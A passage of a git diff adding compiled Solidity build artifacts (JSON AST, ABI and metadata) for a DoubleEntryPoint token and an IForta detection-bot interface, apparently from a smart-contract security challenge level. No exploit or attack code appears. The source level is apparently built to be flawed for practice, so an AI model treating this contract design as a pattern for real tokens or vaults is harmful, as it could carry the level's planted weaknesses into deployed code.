:88:71"},"returnParameters":{"id":51747,"nodeType":"ParameterList","parameters":[],"src":"2867:0:71"},"scope":51850,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51784,"nodeType":"ModifierDefinition","src":"3061:115:71","nodes":[],"body":{"id":51783,"nodeType":"Block","src":"3089:87:71","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51778,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":51775,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3107:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51776,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3111:6:71","memberName":"sender","nodeType":"MemberAccess","src":"3107:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":51777,"name":"delegatedFrom","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51734,"src":"3121:13:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"3107:27:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e6f74206c656761637920636f6e7472616374","id":51779,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3136:21:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_d53c3dd2b8b8bbdc39671c54443b1e626049f3606ea5f078539eb33f51f6c68f","typeString":"literal_string \"Not legacy contract\""},"value":"Not legacy contract"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_d53c3dd2b8b8bbdc39671c54443b1e626049f3606ea5f078539eb33f51f6c68f","typeString":"literal_string \"Not legacy contract\""}],"id":51774,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3099:7:71","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":51780,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3099:59:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51781,"nodeType":"ExpressionStatement","src":"3099:59:71"},{"id":51782,"nodeType":"PlaceholderStatement","src":"3168:1:71"}]},"name":"onlyDelegateFrom","nameLocation":"3070:16:71","parameters":{"id":51773,"nodeType":"ParameterList","parameters":[],"src":"3086:2:71"},"virtual":false,"visibility":"internal"},{"id":51824,"nodeType":"ModifierDefinition","src":"3182:480:71","nodes":[],"body":{"id":51823,"nodeType":"Block","src":"3205:457:71","nodes":[],"statements":[{"assignments":[51787],"declarations":[{"constant":false,"id":51787,"mutability":"mutable","name":"detectionBot","nameLocation":"3223:12:71","nodeType":"VariableDeclaration","scope":51823,"src":"3215:20:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51786,"name":"address","nodeType":"ElementaryTypeName","src":"3215:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":51795,"initialValue":{"arguments":[{"arguments":[{"id":51792,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51732,"src":"3271:6:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51790,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"3246:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51791,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3252:18:71","memberName":"usersDetectionBots","nodeType":"MemberAccess","referencedDeclaration":51496,"src":"3246:24:71","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_contract$_IDetectionBot_$51471_$","typeString":"function (address) view external returns (contract IDetectionBot)"}},"id":51793,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3246:32:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}],"id":51789,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3238:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51788,"name":"address","nodeType":"ElementaryTypeName","src":"3238:7:71","typeDescriptions":{}}},"id":51794,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3238:41:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"3215:64:71"},{"assignments":[51797],"declarations":[{"constant":false,"id":51797,"mutability":"mutable","name":"previousValue","nameLocation":"3340:13:71","nodeType":"VariableDeclaration","scope":51823,"src":"3332:21:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51796,"name":"uint256","nodeType":"ElementaryTypeName","src":"3332:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":51802,"initialValue":{"arguments":[{"id":51800,"name":"detectionBot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51787,"src":"3378:12:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51798,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"3356:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51799,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3362:15:71","memberName":"botRaisedAlerts","nodeType":"MemberAccess","referencedDeclaration":51500,"src":"3356:21:71","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51801,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3356:35:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"3332:59:71"},{"expression":{"arguments":[{"id":51806,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51732,"src":"3439:6:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"expression":{"id":51807,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3447:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51808,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3451:4:71","memberName":"data","nodeType":"MemberAccess","src":"3447:8:71","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}],"expression":{"id":51803,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"3426:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51805,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3432:6:71","memberName":"notify","nodeType":"MemberAccess","referencedDeclaration":51551,"src":"3426:12:71","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (address,bytes memory) external"}},"id":51809,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3426:30:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51810,"nodeType":"ExpressionStatement","src":"3426:30:71"},{"id":51811,"nodeType":"PlaceholderStatement","src":"3497:1:71"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":51817,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":51814,"name":"detectionBot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51787,"src":"3579:12:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51812,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"3557:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51813,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3563:15:71","memberName":"botRaisedAlerts","nodeType":"MemberAccess","referencedDeclaration":51500,"src":"3557:21:71","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51815,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3557:35:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"id":51816,"name":"previousValue","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51797,"src":"3595:13:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"3557:51:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51822,"nodeType":"IfStatement","src":"3553:102:71","trueBody":{"expression":{"arguments":[{"hexValue":"416c65727420686173206265656e207472696767657265642c20726576657274696e67","id":51819,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3617:37:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_3ae8a2daecdbfc253037824392ddaa1876273cf31b918ffb36463f6dc821c120","typeString":"literal_string \"Alert has been triggered, reverting\""},"value":"Alert has been triggered, reverting"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3ae8a2daecdbfc253037824392ddaa1876273cf31b918ffb36463f6dc821c120","typeString":"literal_string \"Alert has been triggered, reverting\""}],"id":51818,"name":"revert","nodeType":"Identifier","overloadedDeclarations":[-19,-19],"referencedDeclaration":-19,"src":"3610:6:71","typeDescriptions":{"typeIdentifier":"t_function_revert_pure$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) pure"}},"id":51820,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3610:45:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51821,"nodeType":"ExpressionStatement","src":"3610:45:71"}}]},"name":"fortaNotify","nameLocation":"3191:11:71","parameters":{"id":51785,"nodeType":"ParameterList","parameters":[],"src":"3202:2:71"},"virtual":false,"visibility":"internal"},{"id":51849,"nodeType":"FunctionDefinition","src":"3668:247:71","nodes":[],"body":{"id":51848,"nodeType":"Block","src":"3845:70:71","nodes":[],"statements":[{"expression":{"arguments":[{"id":51841,"name":"origSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51830,"src":"3865:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51842,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51826,"src":"3877:2:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51843,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51828,"src":"3881:5:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":51840,"name":"_transfer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47622,"src":"3855:9:71","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":51844,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3855:32:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51845,"nodeType":"ExpressionStatement","src":"3855:32:71"},{"expression":{"hexValue":"74727565","id":51846,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"3904:4:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":51839,"id":51847,"nodeType":"Return","src":"3897:11:71"}]},"baseFunctions":[51462],"functionSelector":"9cd1a121","implemented":true,"kind":"function","modifiers":[{"id":51834,"kind":"modifierInvocation","modifierName":{"id":51833,"name":"onlyDelegateFrom","nameLocations":["3781:16:71"],"nodeType":"IdentifierPath","referencedDeclaration":51784,"src":"3781:16:71"},"nodeType":"ModifierInvocation","src":"3781:16:71"},{"id":51836,"kind":"modifierInvocation","modifierName":{"id":51835,"name":"fortaNotify","nameLocations":["3806:11:71"],"nodeType":"IdentifierPath","referencedDeclaration":51824,"src":"3806:11:71"},"nodeType":"ModifierInvocation","src":"3806:11:71"}],"name":"delegateTransfer","nameLocation":"3677:16:71","overrides":{"id":51832,"nodeType":"OverrideSpecifier","overrides":[],"src":"3764:8:71"},"parameters":{"id":51831,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51826,"mutability":"mutable","name":"to","nameLocation":"3702:2:71","nodeType":"VariableDeclaration","scope":51849,"src":"3694:10:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51825,"name":"address","nodeType":"ElementaryTypeName","src":"3694:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51828,"mutability":"mutable","name":"value","nameLocation":"3714:5:71","nodeType":"VariableDeclaration","scope":51849,"src":"3706:13:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51827,"name":"uint256","nodeType":"ElementaryTypeName","src":"3706:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":51830,"mutability":"mutable","name":"origSender","nameLocation":"3729:10:71","nodeType":"VariableDeclaration","scope":51849,"src":"3721:18:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51829,"name":"address","nodeType":"ElementaryTypeName","src":"3721:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"3693:47:71"},"returnParameters":{"id":51839,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51838,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51849,"src":"3835:4:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":51837,"name":"bool","nodeType":"ElementaryTypeName","src":"3835:4:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"3834:6:71"},"scope":51850,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"arguments":[{"hexValue":"446f75626c65456e747279506f696e74546f6b656e","id":51722,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2587:23:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_acd02697b9842d4d6df3ca155d849bd2482081e76cdcc10837c68f4b739e609c","typeString":"literal_string \"DoubleEntryPointToken\""},"value":"DoubleEntryPointToken"},{"hexValue":"444554","id":51723,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2612:5:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_0e7ffae0b7eacea784bd2a5973596e3df0c9a32c97db9ebf789b252819ae06c4","typeString":"literal_string \"DET\""},"value":"DET"}],"baseName":{"id":51721,"name":"ERC20","nameLocations":["2581:5:71"],"nodeType":"IdentifierPath","referencedDeclaration":47861,"src":"2581:5:71"},"id":51724,"nodeType":"InheritanceSpecifier","src":"2581:37:71"},{"baseName":{"id":51725,"name":"DelegateERC20","nameLocations":["2620:13:71"],"nodeType":"IdentifierPath","referencedDeclaration":51463,"src":"2620:13:71"},"id":51726,"nodeType":"InheritanceSpecifier","src":"2620:13:71"},{"baseName":{"id":51727,"name":"Ownable","nameLocations":["2635:7:71"],"nodeType":"IdentifierPath","referencedDeclaration":46700,"src":"2635:7:71"},"id":51728,"nodeType":"InheritanceSpecifier","src":"2635:7:71"}],"canonicalName":"DoubleEntryPoint","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51850,46700,51463,47861,47964,47939,48281],"name":"DoubleEntryPoint","nameLocation":"2561:16:71","scope":51851,"usedErrors":[],"usedEvents":[46601,47873,47882]}],"license":"MIT"},"id":71} \ No newline at end of file diff --git a/contracts/out/DoubleEntryPoint.sol/IForta.json b/contracts/out/DoubleEntryPoint.sol/IForta.json new file mode 100644 index 000000000..4689a1c30 --- /dev/null +++ b/contracts/out/DoubleEntryPoint.sol/IForta.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"notify","inputs":[{"name":"user","type":"address","internalType":"address"},{"name":"msgData","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"raiseAlert","inputs":[{"name":"user","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setDetectionBot","inputs":[{"name":"detectionBotAddress","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"notify(address,bytes)":"fa1fd28c","raiseAlert(address)":"087a43c1","setDetectionBot(address)":"9e927c68"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"user\",\"type\":\"address\"},{\"internalType\":\"bytes\",\"name\":\"msgData\",\"type\":\"bytes\"}],\"name\":\"notify\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"user\",\"type\":\"address\"}],\"name\":\"raiseAlert\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"detectionBotAddress\",\"type\":\"address\"}],\"name\":\"setDetectionBot\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/DoubleEntryPoint.sol\":\"IForta\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol\":{\"keccak256\":\"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0\",\"dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol\":{\"keccak256\":\"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34\",\"dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"keccak256\":\"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd\",\"dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/DoubleEntryPoint.sol\":{\"keccak256\":\"0x933c270332ea5acadf78d2c2511a7eab75ec06d3f5754de47a0bb8db4f0c0e31\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://393808bd2e10e7b481bf406037591e53f1ca84fd447569ae815f342d707340e6\",\"dweb:/ipfs/QmW9hVkSegCGiNwUmDw7kC1XVth8YWheZRJLoFdXvrpcih\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"bytes","name":"msgData","type":"bytes"}],"stateMutability":"nonpayable","type":"function","name":"notify"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"raiseAlert"},{"inputs":[{"internalType":"address","name":"detectionBotAddress","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"setDetectionBot"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/DoubleEntryPoint.sol":"IForta"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol":{"keccak256":"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238","urls":["bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0","dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol":{"keccak256":"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b","urls":["bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34","dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol":{"keccak256":"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca","urls":["bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd","dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/DoubleEntryPoint.sol":{"keccak256":"0x933c270332ea5acadf78d2c2511a7eab75ec06d3f5754de47a0bb8db4f0c0e31","urls":["bzz-raw://393808bd2e10e7b481bf406037591e53f1ca84fd447569ae815f342d707340e6","dweb:/ipfs/QmW9hVkSegCGiNwUmDw7kC1XVth8YWheZRJLoFdXvrpcih"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/DoubleEntryPoint.sol","id":51851,"exportedSymbols":{"Context":[48281],"CryptoVault":[51645],"DelegateERC20":[51463],"DoubleEntryPoint":[51850],"ERC20":[47861],"Forta":[51577],"IDetectionBot":[51471],"IERC20":[47939],"IERC20Metadata":[47964],"IForta":[51489],"LegacyToken":[51720],"Ownable":[46700]},"nodeType":"SourceUnit","src":"32:3886:71","nodes":[{"id":51449,"nodeType":"PragmaDirective","src":"32:23:71","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":51450,"nodeType":"ImportDirective","src":"57:54:71","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol","file":"openzeppelin-contracts-08/access/Ownable.sol","nameLocation":"-1:-1:-1","scope":51851,"sourceUnit":46701,"symbolAliases":[],"unitAlias":""},{"id":51451,"nodeType":"ImportDirective","src":"112:57:71","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol","file":"openzeppelin-contracts-08/token/ERC20/ERC20.sol","nameLocation":"-1:-1:-1","scope":51851,"sourceUnit":47862,"symbolAliases":[],"unitAlias":""},{"id":51463,"nodeType":"ContractDefinition","src":"171:129:71","nodes":[{"id":51462,"nodeType":"FunctionDefinition","src":"201:97:71","nodes":[],"functionSelector":"9cd1a121","implemented":false,"kind":"function","modifiers":[],"name":"delegateTransfer","nameLocation":"210:16:71","parameters":{"id":51458,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51453,"mutability":"mutable","name":"to","nameLocation":"235:2:71","nodeType":"VariableDeclaration","scope":51462,"src":"227:10:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51452,"name":"address","nodeType":"ElementaryTypeName","src":"227:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51455,"mutability":"mutable","name":"value","nameLocation":"247:5:71","nodeType":"VariableDeclaration","scope":51462,"src":"239:13:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeI